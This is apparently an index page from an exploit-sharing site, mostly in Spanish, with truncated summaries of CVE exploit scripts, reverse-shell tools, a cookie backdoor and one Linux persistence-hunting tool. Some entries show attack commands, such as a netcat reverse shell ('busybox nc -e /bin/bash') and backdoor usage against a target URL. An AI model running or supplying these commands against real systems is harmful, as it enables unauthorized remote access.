CVE-2025-24893

Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 Ejecución remota de comandos Este exploit se desarrolla basado en https://www.exploit-db.com/exploits/43853 Realizará la autenticación contra el panel de OTRS y proporcionará una reverse shell. Uso: python3 CVE-2017-16921.py CVE-2017-16921: En OTRS 6.0.x hasta 6.0.1 inclusive, OT...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - Un Reverse Shell AV-Safe bañado en salsa bellota Salsa Tools es una colección de tres herramientas diferentes que, combinadas, te permiten obtener un reverse shell potenciado...

CVE-2024-24590-ClearML-RCE-CMD-POC

Exploit Script de ClearML Este repositorio contiene un script de exploit en Python para CVE-2024-24590. El script está diseñado para subir un archivo pickle malicioso a ClearML, que ejecuta una reverse shell o un comando personalizado. Características Sube un artefacto pickle malicioso a ClearML...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847-Exploit-Implementation This is a POC showing how to pop a reverse bash shell for arbitrary code execution on a foreign machine using CVE-2022-0847, "Dirty Pipe Exploit". This vulnerability only affects Linux kernel versions 5.8 or newer but was patched in versions 5.16.11, 5.15.25,...

CVE-2024-25832-PoC

CVE-2024-25830 y CVE-2024-25832 - DataCube3: Control de Acceso Inadecuado y Carga de Archivos Sin Restricciones. Resumen Este repositorio presenta una Prueba de Concepto PoC para una cadena de explotación de dos pasos dirigida a dispositivos DataCube3. Combina CVE-2024-25830 Control de Acceso...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE herramienta, solo para compartir e intercambiar, no la utilice para pruebas no autorizadas, de lo contrario no tiene relación con el autor. root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c...

backcookie

backcookie Pequeña puerta trasera usando cookie. ========== root@kitploit: root@kitploit: Ejemplo uno: python backcookie.py -u http://target.com/shell.php -c namecookie root@kitploit: Ejemplo dos: python backcookie.py --url http://target.com/shell.php --cookie namecookie Comando personalizado...

mcpExec

mcpExec es una herramienta que aprovecha el CVE-2026-23744 para obtener una reverse shell usando la URL de la instalación vulnerable de MCPJam Inspector. Instalación root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip...

cve-2015-1538-1

POR FAVOR, NO COMPARTAS ESTO CON NADIE. ESTE CÓDIGO SE TE PROPORCIONA BAJO FrienNDA. LAS PERSONAS QUE VIOLEN ESTO YA NO SERÁN CONSIDERADAS AMIGOS. Se incluye un script de Python que genera un MP4 explotando la vulnerabilidad ‘stsc’ también conocida como CVE-2015-1538 1. Esta es una de las...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automatizar explotación y detección Este programa Python es un envoltorio de la vulnerabilidad RCE SMBGhost. Todo el crédito del exploit funcional a chompie1337. Todo el crédito del escáner a ioncodes. Simplemente automatizo estas funciones en un solo programa. Debes tener ...

Follina

Follina Notas relacionadas con CVE-2022-30190 FOLLINA: CVE-2022-30190 1. Usa la Herramienta de diagnóstico de soporte de Microsoft MSDT 2. Explota la ventana de diagnóstico abierta para el diagnóstico y, cuando se ejecuta correctamente, proporciona una shell inversa al atacante. 3. Github: a...

webmin_1.920

CVE-2019-15107 Webmin 1.920 Ejecución Remota de Comandos Sin Autenticación Un script de python3 para la ejecución remota de comandos sin autenticación en Webmin 1.920 CVE-2019-15107 que crea una shell reversa o una shell pseudo interactiva usando mkfifo para evadir el firewall. Un script de pytho...

persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...

CVE-2022-46196

CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Hello, I am a security researcher and this is my first exploit. Webmin 1.580 has a RCE which is also CVE-2012-2982 To use This payload: 1. download 2. Open in text editor! 3. change targetIP to your target 4. change lhost to your own ip 5. change lport to the port...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, soporta escaneo por lotes Uso root@kitploit: -a string Dirección de escucha de rebote -b Mostrar banner o no default true -c string Comando default "ls" -p int Puerto de escucha de rebote -poc Solo escaneo POC o no, por defecto solo POC default true -r Rebote de shell o no...

CVE-2021-22204

CVE-2021-22204 Exploit para CVE-2021-22204 ExifTool - Ejecución de código arbitrario Descripción del Exploit Usa este exploit para generar un payload de imagen JPEG que puede ser utilizado con una versión vulnerable de ExifTool para ejecución de código. Se puede proporcionar un comando...

CVE-2019-0708-Windows

CVE-2019-0708-Windows Este artículo compartirá la vulnerabilidad del servicio de escritorio remoto de Windows CVE-2019-0708 y explicará en detalle dicha vulnerabilidad y sus medidas de defensa. Como principiante en seguridad cibernética, el autor comparte algunos tutoriales básicos de...